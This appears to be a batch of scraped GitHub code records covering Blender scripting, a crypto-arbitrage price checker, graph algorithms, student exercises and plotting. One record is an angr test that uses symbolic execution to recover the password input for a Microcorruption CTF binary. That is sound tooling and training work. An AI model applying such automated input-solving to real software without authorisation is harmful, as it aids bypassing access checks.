main()\n","repo_name":"nirlevanontau/final-project-submission","sub_path":"sheet_manipulation/created_unified_csv.py","file_name":"created_unified_csv.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7246439460","text":"# Kawashirov's Scripts (c) 2021 by Sergey V. Kawashirov\n#\n# Kawashirov's Scripts is licensed under a\n# Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.\n#\n# You should have received a copy of the license along with this\n# work. If not, see <http://creativecommons.org/licenses/by-nc-sa/3.0/>.\n#\n#\nimport collections as _collections\n\nimport bpy as _bpy\n\nfrom . import commons as _commons\nfrom . import objects as _objects\nfrom . import modifiers as _modifiers\nfrom . import reporter as _reporter\nfrom ._internals import log as _log\n\nimport typing as _typing\n\nif _typing.TYPE_CHECKING:\n\tfrom typing import Set\n\tfrom bpy.types import Scene, Object\n\t\n\tCollection = _bpy.types.Collection\n\n\nclass BaseInstantiator:\n\tORIGINAL_NAME = '__KawaInstantiator_OriginalName'\n\t\n\t# Создаёт рабочию копию оригинальных объектов (для запекания):\n\t# - Копирует объекты и их меши\n\t# - Превращает инстансы коллекций в объекты\n\t# - Заменяет OBJECT текстуры на DATA\n\t# - Применяет все модификаторы\n\t# -\n\t# - TODO переименования\n\t#\n\t# Как использовать:\n\t# - Задать сцены: .original_scene и .working_scene\n\t# - Положить оригиналы в .originals\n\t# - Запустить .run()\n\t# - Копии будут лежать в copy2original и original2copy\n\t# - Все новые объекты сохранятся в .copies\n\t# Не стоит запускать run() повторно или изменять что-либо после run()\n\t\n\tdef __init__(self):\n\t\tself.original_scene = None # type: Scene\n\t\tself.working_scene = None # type: Scene\n\t\tself.instantiate_collections = True\n\t\tself.instantiate_material_slots = True\n\t\tself.apply_modifiers = True\n\t\tself.apply_scales = False\n\t\tself.report_time = 5\n\t\t\n\t\tself.originals = set() # type: Set[Object]\n\t\tself.copies = set() # type: Set[Object]\n\t\t\n\t\tself._original_names = set() # type: Set[Object]\n\t\n\tdef rename_copy(self, obj: 'Object', original_name: 'str', ) -> 'str':\n\t\treturn NotImplemented\n\t\n\tdef rename_object_from_collection(self,\n\t\t\tparent_obj: 'Object', parent_obj_orig_name: 'str',\n\t\t\tinst_obj: 'Object', inst_obj_orig_name: 'str',\n\t\t\tcollection: 'Collection'\n\t) -> 'str':\n\t\treturn NotImplemented\n\t\n\tdef _check_originals(self):\n\t\twrong_scene = set()\n\t\tfor original in self.originals:\n\t\t\tif self.original_scene not in original.users_scene:\n\t\t\t\twrong_scene.add(original)\n\t\tif len(wrong_scene) > 0:\n\t\t\twrong_scene_str = ', '.join(repr(x.name) for x in wrong_scene)\n\t\t\tmsg = f'{len(wrong_scene)} of {len(self.originals)} original objects does not belong to'\n\t\t\tmsg = f'{msg} original_scene={self.original_scene.name!r}: {wrong_scene_str}'\n\t\t\t_log.raise_error(RuntimeError, msg)\n\t\n\tdef _register_original_names(self):\n\t\toriginal_names_q = _collections.deque()\n\t\toriginal_names_q.extend(self.originals)\n\t\tself._original_names.clear()\n\t\twhile len(original_names_q) > 0:\n\t\t\tobj = original_names_q.pop() # type: Object\n\t\t\tself._original_names.add(obj)\n\t\t\tif obj.instance_type == 'COLLECTION' and obj.instance_collection is not None:\n\t\t\t\toriginal_names_q.extend(obj.instance_collection.objects)\n\t\tfor obj in self._original_names:\n\t\t\tobj[self.ORIGINAL_NAME] = obj.name\n\t\n\tdef _put_originals_on_working(self):\n\t\t_objects.deselect_all()\n\t\tfor original in self.originals:\n\t\t\tif original.name not in self.working_scene.collection.objects:\n\t\t\t\tself.working_scene.collection.objects.link(original)\n\t\t\t_objects.activate(original)\n\t\n\tdef _duplicate(self):\n\t\t_commons.ensure_op_finished(_bpy.ops.object.duplicate(linked=False), name='bpy.ops.object.duplicate')\n\t\tself.copies.update(_bpy.context.selected_objects)\n\t\t_log.info(f'Basic copies created: {len(self.copies)}')\n\t\t_objects.deselect_all()\n\t\n\tdef _unlink_originals_from_working(self):\n\t\tfor original in self.originals:\n\t\t\tif original.name in self.working_scene.collection.objects:\n\t\t\t\tself.working_scene.collection.objects.unlink(original)\n\t\n\tdef _rename_copies(self):\n\t\t_log.info('Renaming copies...')\n\t\tfor copy in self.copies:\n\t\t\toriginal_name = copy.get(self.ORIGINAL_NAME)\n\t\t\tif original_name is not None:\n\t\t\t\tnew_name = None\n\t\t\t\ttry:\n\t\t\t\t\tnew_name = self.rename_copy(copy, original_name)\n\t\t\t\texcept Exception as exc:\n\t\t\t\t\t# TODO\n\t\t\t\t\traise RuntimeError('rename', copy, original_name, new_name) from exc\n\t\t\t\tif isinstance(new_name, str):\n\t\t\t\t\tcopy.name = new_name\n\t\n\tdef _instantiate_collections(self):\n\t\t_log.info('Instantiating collections...')\n\t\t\n\t\tcreated, obj_i, inst_i = 0, 0, 0\n\t\t\n\t\tdef do_report(r, t):\n\t\t\tobjs = f'Objects={obj_i}/{len(self.copies)}'\n\t\t\tinst_created = f'Instantiated={inst_i}, Created={created}'\n\t\t\t_log.info(f\"Instantiating collections: {objs}, {inst_created}, Time={t:.1f} sec...\")\n\t\t\n\t\treporter = _reporter.LambdaReporter(report_time=self.report_time, func=do_report)\n\t\tqueue = _collections.deque()\n\t\tqueue.extend(self.copies)\n\t\twhile len(queue) > 0:\n\t\t\tobj = queue.pop() # type: Object\n\t\t\tobj_i += 1\n\t\t\tif obj.type != 'EMPTY' or obj.instance_type != 'COLLECTION' or obj.instance_collection is None:\n\t\t\t\tcontinue\n\t\t\tinst_i += 1\n\t\t\t_objects.deselect_all()\n\t\t\t_objects.activate(obj)\n\t\t\tcollection = obj.instance_collection\n\t\t\t_commons.ensure_op_finished(_bpy.ops.object.duplicates_make_real(\n\t\t\t\tuse_base_parent=True, use_hierarchy=True\n\t\t\t), name='bpy.ops.object.duplicates_make_real')\n\t\t\tself.copies.update(_bpy.context.selected_objects)\n\t\t\tqueue.extend(_bpy.context.selected_objects)\n\t\t\tcreated += len(_bpy.context.selected_objects)\n\t\t\tobj_orignal_name = obj.get(self.ORIGINAL_NAME)\n\t\t\tfor inst_obj in list(_bpy.context.selected_objects):\n\t\t\t\tinst_obj_orignal_name = inst_obj.get(self.ORIGINAL_NAME)\n\t\t\t\tnew_name = self.rename_object_from_collection(obj, obj_orignal_name, inst_obj, inst_obj_orignal_name, collection)\n\t\t\t\tif isinstance(new_name, str):\n\t\t\t\t\tinst_obj.name = new_name\n\t\t\t\telif isinstance(inst_obj_orignal_name, str):\n\t\t\t\t\tinst_obj.name = obj.name + '-' + inst_obj_orignal_name\n\t\t\treporter.ask_report(False)\n\t\t\n\t\t_objects.deselect_all()\n\t\treporter.ask_report(True)\n\t\n\tdef _convert_curves_to_meshes(self):\n\t\t_log.info('Converting curves to meshes...')\n\t\tcurves = list(obj for obj in self.copies if isinstance(obj.data, _bpy.types.Curve))\n\t\tif len(curves) < 1:\n\t\t\treturn\n\t\t_objects.deselect_all()\n\t\t_objects.activate(curves)\n\t\tself.copies.difference_update(curves)\n\t\t_commons.ensure_op_finished(_bpy.ops.object.convert(target='MESH'), name='bpy.ops.object.convert')\n\t\tself.copies.update(_bpy.context.selected_objects)\n\t\t_objects.deselect_all()\n\t\t_log.info(f'Converted {len(curves)} curves to meshes.')\n\t\n\tdef _make_single_user(self):\n\t\t_log.info('Making data blocks single-users...')\n\t\t_objects.deselect_all()\n\t\t_objects.select(self.copies)\n\t\tbefore = len(set(obj.data for obj in self.copies if obj.data is not None))\n\t\t_commons.ensure_op_finished(_bpy.ops.object.make_single_user(\n\t\t\tobject=False, obdata=True, material=False, animation=False,\n\t\t), name='bpy.ops.object.make_single_user')\n\t\tafter = len(set(obj.data for obj in self.copies if obj.data is not None))\n\t\tself.copies.update(_bpy.context.selected_objects)\n\t\t_objects.deselect_all()\n\t\t_log.info(f'make_single_user, data blocks: {before} +{(after - before)} -> {after}')\n\t\n\tdef _instantiate_material_slots(self):\n\t\tobj_i, slot_i = 0, 0\n\t\t\n\t\tdef do_report(r, t):\n\t\t\teta = r.get_eta(1.0 * obj_i / len(self.copies))\n\t\t\tobjs = f'Objects={obj_i}/{len(self.copies)}, Slots={slot_i}'\n\t\t\t_log.info(f\"Instantiating material slots: {objs}, Time={t:.1f} sec, ETA={eta:.1f} sec...\")\n\t\t\n\t\treporter = _reporter.LambdaReporter(report_time=self.report_time, func=do_report)\n\t\t_log.info('Instantiating material slots...')\n\t\tfor copy in self.copies:\n\t\t\tif not isinstance(copy.data, _bpy.types.Mesh):\n\t\t\t\tcontinue\n\t\t\tfor slot in copy.material_slots:\n\t\t\t\tif slot.material is None or slot.link == 'DATA':\n\t\t\t\t\tcontinue # Пропуск пустых или DATA материалов\n\t\t\t\tmat = slot.material\n\t\t\t\t# log.info(\"Object='%s': Switching Material='%s' from OBJECT to DATA...\", copy, mat)\n\t\t\t\tslot.link = 'DATA'\n\t\t\t\tslot.material = mat\n\t\t\t\tslot_i += 1\n\t\t\tobj_i += 1\n\t\t\treporter.ask_report(False)\n\t\treporter.ask_report(True)\n\t\n\tdef _apply_modifiers(self):\n\t\tobj_n, obj_i, mod_i = len(self.copies), 0, 0\n\t\t\n\t\tdef do_report(r, t):\n\t\t\teta = r.get_eta(1.0 * obj_i / obj_n)\n\t\t\tobjs = f\"Objects={obj_i}/{obj_n}, Modifiers={mod_i}\"\n\t\t\t_log.info(f\"Applying modifiers: {objs}, Time={t:.1f} sec, ETA={eta:.1f} sec...\")\n\t\t\n\t\treporter = _reporter.LambdaReporter(report_time=self.report_time, func=do_report)\n\t\t_log.info('Applying modifiers...')\n\t\tfor copy in self.copies:\n\t\t\tmod_i += _modifiers.apply_all_modifiers(copy)\n\t\t\tobj_i += 1\n\t\t\treporter.ask_report(False)\n\t\treporter.ask_report(True)\n\t\n\tdef _clean_original_names(self):\n\t\tfor original in self._original_names:\n\t\t\tif self.ORIGINAL_NAME in original:\n\t\t\t\tdel original[self.ORIGINAL_NAME]\n\t\n\tdef run(self) -> 'None':\n\t\tif self.original_scene is None:\n\t\t\traise RuntimeError(\"original_scene is not set\")\n\t\tif self.working_scene is None:\n\t\t\traise RuntimeError(\"working_scene is not set\")\n\t\t\n\t\tself._check_originals()\n\t\t_log.info(f'Instantiating {len(self.originals)} objects from scene {self.original_scene.name!r} to {self.working_scene.name!r}... ')\n\t\tself._register_original_names()\n\t\t_bpy.context.window.scene = self.working_scene\n\t\tself._put_originals_on_working()\n\t\tself._duplicate()\n\t\tself._unlink_originals_from_working()\n\t\tself._rename_copies()\n\t\t\n\t\tif self.instantiate_collections:\n\t\t\tself._instantiate_collections()\n\t\t\n\t\tself._make_single_user()\n\t\tself._convert_curves_to_meshes()\n\t\t\n\t\tif self.instantiate_material_slots:\n\t\t\tself._instantiate_material_slots()\n\t\t\n\t\tif self.apply_modifiers:\n\t\t\tself._apply_modifiers()\n\t\t\n\t\tif self.apply_scales:\n\t\t\t_log.info('Applying scales...')\n\t\t\t_objects.select(self.copies)\n\t\t\t_bpy.ops.object.transform_apply(location=False, rotation=False, scale=self.apply_scales, properties=False)\n\t\t\t_objects.select(self.copies, state=False)\n\t\t\t_log.info('Applied scales.')\n\t\t\n\t\tinvalids = list(obj for obj in self.copies if obj.name not in self.working_scene.collection.objects)\n\t\tif len(invalids) > 0:\n\t\t\t_log.info(f\"Discarding {len(invalids)} invalid objects...\")\n\t\t\tfor invalid in invalids:\n\t\t\t\tself.copies.discard(invalid)\n\t\t\n\t\tself._clean_original_names()\n\t\t\n\t\t_log.info(f\"Instantiation done: {len(self.originals)} original -> {len(self.copies)} copies.\")\n","repo_name":"kawashirov/kawa_scripts","sub_path":"kawa_scripts/instantiator.py","file_name":"instantiator.py","file_ext":"py","file_size_in_byte":10440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"14876869304","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 8 22:44:02 2018\n\n\n\n\"\"\"\n\n\n\nimport ccxt\nimport time\nimport _thread\n\n\ndef calc():\n\n\tbitfinex = ccxt.bitfinex()\n\tmarketsBf = bitfinex.load_markets ()\n\n\n\tcex = ccxt.cex()\n\tkucoin = ccxt.kucoin()\n\tpoloniex=ccxt.poloniex()\n\tbittrex=ccxt.bittrex()\n\n\n\tFEE = 1.02 # fee for every trade (2%)\n\tDiff = 0.6 # 1 % arbitrage to execute\n\tcurr = [\"ETH/BTC\", \"OMG/BTC\", \"LTC/BTC\", \"DASH/BTC\", \"ETC/BTC\", \"OMG/BTC\"] # \"LTC/BTC\", \"DASH/BTC\", \"ETC/BTC\", \"OMG/BTC\", \"BCH/BTC\" currencies to trade if arbitrage is found\n\texc = [bitfinex, kucoin, bittrex, cex] # cex ,kucoin , bittrex exchanges to trade on for the function calls\n\n\n\tdef getAsk(market, sym):\n\t\torderbook = market.fetch_order_book(sym)\n\t\task = orderbook['asks'][0][0] if len (orderbook['asks']) > 0 else None\n\t\treturn ask\n\n\tdef getBid(market, sym):\n\t\torderbook = market.fetch_order_book(sym)\n\t\tbid = orderbook['bids'][0][0] if len (orderbook['bids']) > 0 else None\n\t\treturn bid\n\n\n\tdef compare():\n\t\tprint (\"Arbitrage Trader starting up...\")\n\t\tyon_file = open(\"yon.txt\", \"r\")\n\t\tyon = yon_file.read()\n\t\tyon_file.close\n\t\tn=0\n\t\twhile n<=(len(curr)-1):\n\t\t\tprint (\"Starting Arbitrage checking for \", curr[n])\n\t\t\tpairpart1 = curr[n]\n\t\t\tm=0\n\t\t\twhile m<=(len(exc)-1):\n\t\t\t\t#print \"m = \" + str(m)\n\t\t\t\tk = 0\n\t\t\t\twhile k<=(len(exc)-1):\n\t\t\t\t\t#print \"k = \" + str(k)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif (yon == \"1\"):\n\t\t\t\t\t\t\tsprice = getBid(exc[m], curr[n])\n\t\t\t\t\t\t\tbprice = getAsk(exc[k], curr[n])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsprice = getBid(exc[k], curr[n])\n\t\t\t\t\t\t\tbprice = getAsk(exc[m], curr[n])\n\n\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t\tpass\n\n\t\t\t\t\t#print (\"Sell price = \" , str(sprice) , \" on \" , exc[m].id)\n\t\t\t\t\t#print (\"Buy price = \" , str(bprice) , \" on \" , exc[k].id)\n\n\t\t\t\t\tif (float(bprice) < float(sprice)):\n\t\t\t\t\t\t#print (\"Opportunity to buy \" , curr[n] , \" for \", str(bprice), \" on \",exc[k],\" and sell for \" , str(sprice) , \" on \" , exc[m])\n\t\t\t\t\t\tyie = ((float(sprice) - float(bprice))/float(sprice))*100.0;\n\t\t\t\t\t\t#print (\"Yield before trading costs would be: \",str(yie),\"%\")\n\n\t\t\t\t\tif (((float(sprice) - float(bprice))/float(sprice))*100.0 > Diff):\n\t\t\t\t\t\t# make_trade(exc[k], \"buy\", amount1, pairpart1, \"btc\", bprice)\n\t\t\t\t\t\t# make_trade(exc[m], \"sell\", amount1, pairpart1, \"btc\", sprice)\n\t\t\t\t\t\t#printouts for debugging\n\t\t\t\t\t\tprint (\"price on \" , exc[m].id , \" for \" , curr[n] , \" is \" , str(sprice) , \" BTC\")\n\t\t\t\t\t\tprint (\"price on \" , exc[k].id , \" for \" , curr[n] , \" is \" , str(bprice) , \" BTC\")\n\t\t\t\t\t\tprint (\"executing trade at a win per 1\" , curr[n] , \" of \" , str(round(((sprice * 0.998)-(bprice * 1.002004)),8)) , \"BTC\")\n\t\t\t\t\t\tprofit = str(round(100*(((sprice+bprice)+(sprice * 0.998)-bprice*1.002004)-(sprice+bprice))/(sprice+bprice),2))\n\t\t\t\t\t\tprint (\"profit %\" , profit)\n\t\t\t\t\t\twith open(\"log.txt\", \"a\") as text_file:\n\t\t\t\t\t\t\tprint(f\"{curr[n]} {exc[m].id} {sprice} Sell\", file=text_file)\n\t\t\t\t\t\t\tprint(f\"{curr[n]} {exc[k].id} {bprice} Buy\", file=text_file)\n\t\t\t\t\t\t\tprint(f\"-{exc[k].id}'den alındı {exc[m].id} 'de satıldı-----yön:{yon}------- Profit % {profit}\\n\", file=text_file)\n\t\t\t\t\t\t\tprint (f\" yön: {yon}\")\n\t\t\t\t\t\t\ttext_file.close\n\t\t\t\t\t\tyon_filer = open(\"yon.txt\", \"w\")\n\t\t\t\t\t\tif yon == \"1\":\n\t\t\t\t\t\t\tyon_filer.write(\"0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tyon_filer.write(\"1\")\n\t\t\t\t\t\tyon_filer.close\n\n\n\t\t\t\t\tk+=1\n\t\t\t\tm+=1\n\t\t\tn+=1\n\n\n\n\tcompare()\n\n\n\n\n\n\"\"\"\n\ndef main():\n\n\tdef run1(sleeptime, lock):\n\t\twhile True:\n\t\t\tlock.acquire()\n\t\t\tcalc() #The main Arbitrage function\n\t\t\tprint (\"Round completed sleeping for 30 seconds\")\n\t\t\tlock.release()\n\t\t\ttime.sleep(sleeptime)\n\n\tlock = _thread.allocate_lock()\n\t_thread.start_new_thread(run1, (30, lock))\n\n\twhile True:\n\t\tpass\n\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n\n\n\ndelay = 20\nwhile 1<2:\n\ttry:\n\t\tcalc()\n\t\tprint (\"sleep 20\")\n\t\ttime.sleep(delay)\n\texcept:\n\t\tpass\n\t\tprint(\"hıamina\")\n\t\ttime.sleep(20)\n\n\n\n\n\n\"\"\"\n\n# any time\nbitfinex = ccxt.bitfinex ()\nbitfinex.apiKey = 'YOUR_BFX_API_KEY'\nbitfinex.secret = 'YOUR_BFX_SECRET'\n\n# upon instantiation\nhitbtc = ccxt.hitbtc ({\n 'apiKey': 'YOUR_HITBTC_API_KEY',\n 'secret': 'YOUR_HITBTC_SECRET_KEY',\n})\n\n\"\"\"","repo_name":"bizgi/CryptoCurrency","sub_path":"Arbitrage-ccxt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31557002347","text":"from traits.api import HasTraits\nfrom traitsui.api import Group\n\n\nclass HasTraitsGroup(HasTraits):\n def traits_group(self, object=None, **kw):\n if hasattr(self, '_get_traits_group'):\n groups = [ self._get_traits_group() ]\n else:\n group_names = self.trait_views(Group)\n groups = [ self.trait_view(name) for name in group_names ]\n group = Group(*groups, object='object.' + object if object is not None else 'object', **kw)\n return group\n\n","repo_name":"AustralianSynchrotron/pdviper","sub_path":"traits_extensions.py","file_name":"traits_extensions.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"39369765720","text":"from collections import defaultdict, deque \n\nclass Graph:\n\n def __init__(self,nodes):\n #this will create empty list as a value for a non existent key\n self.list=defaultdict(list)\n self.nodes=nodes\n\n def AddEdge(self,x,y):\n self.list[x].append(y)\n #self.list[y].append(x)\n\n def topology_sort(self): \n indegree=[0]*self.nodes \n for parent in self.list:\n for node in self.list[parent]:\n indegree[node]+=1\n queue=deque()\n for node in self.list:\n if(indegree[node]==0):\n queue.append(node)\n while(queue):\n node=queue.popleft()\n print(node)\n for neigh in self.list[node]:\n indegree[neigh]-=1\n if(indegree[neigh]==0):\n queue.append(neigh)\n\n def __util_dfs(self,src,stack,visited):\n visited[src]=True \n for neigh in self.list[src]:\n if( not visited[neigh]):\n self.__util_dfs(neigh,stack,visited)\n\n stack.append(src)\n return \n\n def topology_sort_dfs(self):\n stack=deque()\n visited=[False]*self.nodes \n #for disconnected graphs \n for node in self.list:\n if(not visited[node]):\n self.__util_dfs(node,stack,visited)\n print(stack)\n \ndef main():\n g=Graph(6)\n g.AddEdge(2,3)\n g.AddEdge(3,1)\n g.AddEdge(4,0)\n g.AddEdge(5,2)\n g.AddEdge(4,1)\n g.AddEdge(5,0)\n g.topology_sort()\n #g.topology_sort_dfs()\n\nif __name__==\"__main__\":\n main()\n ","repo_name":"chiragbaid7/Data-Structures-and-Algorithms","sub_path":"topology_sort.py","file_name":"topology_sort.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5660297154","text":"from collections import deque\r\nt = int(input())\r\ndx = [-1,-2,-2,-1,1,2,2,1]\r\ndy = [-2,-1,1,2,2,1,-1,-2]\r\ndef bfs(x,y):\r\n q = deque()\r\n q.append((x, y, 0))\r\n visited = set()\r\n visited.add((x, y))\r\n while q:\r\n x, y, cnt = q.popleft()\r\n for i in range(8):\r\n nx = x + dx[i]\r\n ny = y + dy[i]\r\n if nx < 0 or nx >= n or ny < 0 or ny >= n:\r\n continue\r\n if nx == st and ny == en:\r\n return cnt + 1\r\n if (nx, ny) not in visited:\r\n q.append((nx, ny, cnt + 1))\r\n visited.add((nx, ny))\r\nfor _ in range(t):\r\n n = int(input())\r\n x,y = map(int,input().split())\r\n st,en = map(int, input().split())\r\n if x==st and y==en:\r\n print(0)\r\n else:\r\n print(bfs(x,y))","repo_name":"godzz733/Algorithm-study","sub_path":"백준/Silver/7562. 나이트의 이동/나이트의 이동.py","file_name":"나이트의 이동.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72990490139","text":"# Python Program - Calculate Grade of Student\nprint(\"Enter 'x' for exit.\")\nprint(\"Enter marks obtained in 5 subjects: \")\nmark1 = input()\nif mark1 == 'x':\n exit()\nelse:\n mark1 = int(mark1)\n mark2 = int(input())\n mark3 = int(input())\n mark4 = int(input())\n mark5 = int(input())\n sum = mark1 + mark2 + mark3 + mark4 + mark5\n average = sum/5\n if (average>99 and average<=100):\n print('bhai gajab kar diya , your grade is A++.')\n elif(average>=91 and average<=99):\n \tprint(\"Your Grade is A+\")\n elif(average>=81 and average<=90):\n \tprint(\"Your Grade is A\")\n elif(average>=71 and average<=80):\n \tprint(\"Your Grade is B+\")\n elif(average>=61 and average<=70):\n \tprint(\"Your Grade is B\")\n elif(average>=51 and average<=60):\n \tprint(\"Your Grade is C+\")\n elif(average>=41 and average<=50):\n \tprint(\"Your Grade is C\")\n elif(average>=0 and average<=40):\n \tprint(\"tu fail ho gya h,parents ko kya bolega?\")\n else:\n \tprint(\"Strange Grade..!!\")","repo_name":"u2508/All-Programs","sub_path":"PYTHON/grade calculator.py","file_name":"grade calculator.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30578522992","text":"# To run this code you must download the data folder or\n# first run figure7_I.py and figure7_II.m.\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport matplotlib.patches as mpatches\nimport numpy as np\nfrom set_style import set_style\n\nset_style('article', w=1, h=2)\n\nfig = plt.figure()\nax1 = fig.add_subplot(221)\nax2 = fig.add_subplot(222)\nax3 = fig.add_subplot(223)\nax4 = fig.add_subplot(224)\n\ndata = sio.loadmat('../data/figure7/figure7.mat')\n\n# Panel A\nx = data['Hx_data'][0]\ny = data['Hy_data'][0]\nX, Y = np.meshgrid(x,y)\nr = np.sqrt((X-x[-1]/2)**2 + (Y-y[-1]/2)**2)\nZ = data['P']\nZ_diag = np.diagonal(Z)\nr_diag = np.diagonal(r)\nax1.plot(r_diag[0:144]*-1, Z_diag[0:144], 'k')\nax1.plot(r_diag[144:], Z_diag[144:], 'k')\nax1.set_xlim(max(r_diag)*-1, max(r_diag))\nax1.axvline(x=0.7, linestyle='--', color='k')\nax1.axvline(x=-0.7, linestyle='--', color='k')\nax1.set_title('$\\hat{P}$')\nax1.set_xlabel('$\\hat{r}$')\n\n# Panel B\nZ = data['P_noisy']\nlevels = np.arange(1.5, 4.26,0.1)\ncmap = cm.Reds\ncset = ax2.contourf(X, Y, Z, levels, cmap=cm.get_cmap(cmap))\nax2.set_aspect('equal')\nplt.colorbar(cset, ax=ax2, ticks=np.arange(1,4.1,1))\nax2.set_title('$\\hat{P}+\\hat{P}_{\\sigma}$')\ncset.set_clim(1,4.25)\n\n# Panel C\nZ = data['del2P_panelC']\ncmap = cm.bwr\ncset = ax3.imshow(Z, extent=[0, max(x), 0, max(y)], origin='lower', cmap=cm.get_cmap(cmap))\nplt.colorbar(cset, ax=ax3, ticks=[-0.5, 0.5, 2, 3], extend='both')\ncset.set_clim(-0.5,3)\nax3.set_title('$\\hat{M}\\mathrm{_{est}}$')\n\n# Panel D\nx = data['Hx_est'][0]\ny = data['Hy_est'][0]\nZ = data['del2P_panelD']\ncmap = cm.bwr\ncset = ax4.imshow(Z, extent=[0, max(x), 0, max(y)], origin='lower', cmap=cm.get_cmap(cmap))\ncset.set_clim(-0.5,3)\ncbar = plt.colorbar(cset, ax=ax4, ticks=[-0.5, 0.5, 2, 3], extend='both')\nax4.set_title('$\\hat{M}\\mathrm{_{est}}$')\n\nfor ax in [ax2, ax3, ax4]:\n # mark vessel\n vessel = mpatches.Circle((1, 1), 6./141, facecolor='black')\n ax.add_patch(vessel)\n # axes\n ax.set(xticks=np.arange(0, 2.01, 0.5))\n ax.set(xticklabels=['-1', '-0.5', '0', '0.5', '1'])\n ax.set(yticks=np.arange(0, 2.01, 0.5))\n ax.set(yticklabels=['-1', '-0.5', '0', '0.5', '1'])\n ax.get_xaxis().tick_bottom()\n ax.get_yaxis().tick_left() \n ax.set_xlabel('$\\hat{x}$')\n ax.set_ylabel('$\\hat{y}$', rotation=0, va='center')\n\n# ABC\nax1.text(-0.15, 1.1, 'A', transform=ax1.transAxes, fontsize=16, fontweight='bold', va='top', ha='right')\nax2.text(-0.15, 1.1, 'B', transform=ax2.transAxes, fontsize=16, fontweight='bold', va='top', ha='right')\nax3.text(-0.15, 1.1, 'C', transform=ax3.transAxes, fontsize=16, fontweight='bold', va='top', ha='right')\nax4.text(-0.15, 1.1, 'D', transform=ax4.transAxes, fontsize=16, fontweight='bold', va='top', ha='right')\n\nplt.tight_layout()\nplt.savefig('figures_pdf/figure7.pdf', dpi=300)\n","repo_name":"CINPLA/CMRO2estimation","sub_path":"figures/plot_figure7.py","file_name":"plot_figure7.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27325809890","text":"from angr_platforms.msp430 import arch_msp430, lift_msp430, simos_msp430\nimport angr\nimport os\nimport nose\n\ndef test_sydney():\n thebin = str(os.path.join(os.path.dirname(os.path.realpath(__file__)),\n '../test_programs/msp430/microcorruption_sydney/out.elf'))\n p = angr.Project(thebin, load_options={'rebase_granularity': 8})\n p.hook_symbol('getsn', simos_msp430.MCgetsn())\n p.hook_symbol('__stop_progExec__', simos_msp430.MCstopexec())\n p.hook_symbol('puts', simos_msp430.MCputs())\n simgr = p.factory.simulation_manager()\n simgr.explore(find=0x4462)\n stdin_contents = simgr.found[0].posix.dumps(0)\n nose.tools.assert_true('47544e6b7b5f443a00' in stdin_contents.hex())\n\nif __name__ == '__main__':\n test_sydney()\n","repo_name":"stefanberg96/SMArTCAT","sub_path":"platforms/tests/test_msp430_mc_sydney.py","file_name":"test_msp430_mc_sydney.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"17642070822","text":"# 5-3 : 음료수 얼려 먹기\n\nn, m = map(int, input().split())\n\ngraph = []\nfor i in range(n):\n graph.append(list(map(int, input())))\n\n# DFS\n\n\ndef dfs(x, y):\n # 주어진 범위를 벗어나는 경우 즉시 종료\n if x <= -1 or y <= -1 or x >= n or y >= m:\n return False\n\n # 현재 노드를 아직 방문하지 않았다면\n if graph[x][y] == 0:\n # 현재 노드 방문 처리\n graph[x][y] = 1\n # 상 하 좌 우 재귀 호출\n dfs(x-1, y)\n dfs(x+1, y)\n dfs(x, y-1)\n dfs(x, y+1)\n return True\n else:\n return False\n\n\n# 모든 노드에 대하여 음료수 채우기\nresult = 0\nfor i in range(n):\n for j in range(m):\n if dfs(i, j) == True:\n result += 1\n\nprint(result)\n","repo_name":"oh-gnues/python-for-coding-test-sh","sub_path":"ch5-DFS_BFS/5-3.py","file_name":"5-3.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41691663430","text":"from typing import List, Set, Dict, Tuple, Optional\n\n\"\"\"\n7-8. Deli: Make a list called sandwich_orders and fill it with \nthe names of various sandwiches.\n Then make an empty list called finished_sandwiches. \nLoop through the list of sandwich orders and print a message for each order, \nsuch as I made your tuna sandwich. \nAs each sandwich is made, move it to the list of finished sandwiches. \nAfter all the sandwiches have been made, \nprint a message listing each sandwich that was made.\n\"\"\"\n\ndef make_sandwiches(sandwiches):\n\n finished_sandwiches = []\n for sandwich in sandwiches:\n print(f\"I have made you a {sandwich} sandwich\")\n finished_sandwiches.append(sandwich)\n return finished_sandwiches\n\n\n\"\"\"\n7-9. No Pastrami: Using the list sandwich_orders from Exercise 7-8, \nmake sure the sandwich 'pastrami' appears in the list at least three times. \nAdd code near the beginning of your program to print a message saying the deli has run out \nof pastrami, and then use a while loop to remove all occurrences of 'pastrami' \nfrom sandwich_orders. Make sure no pastrami sandwiches end up in finished_sandwiches.\n\"\"\"\n\ndef no_pastrami(sandwiches_pastrami):\n print(f\"Deli has run out of Patrami\")\n while \"pastrami\" in sandwiches_pastrami:\n sandwiches_pastrami.remove(\"pastrami\")\n print(sandwiches_pastrami)\n 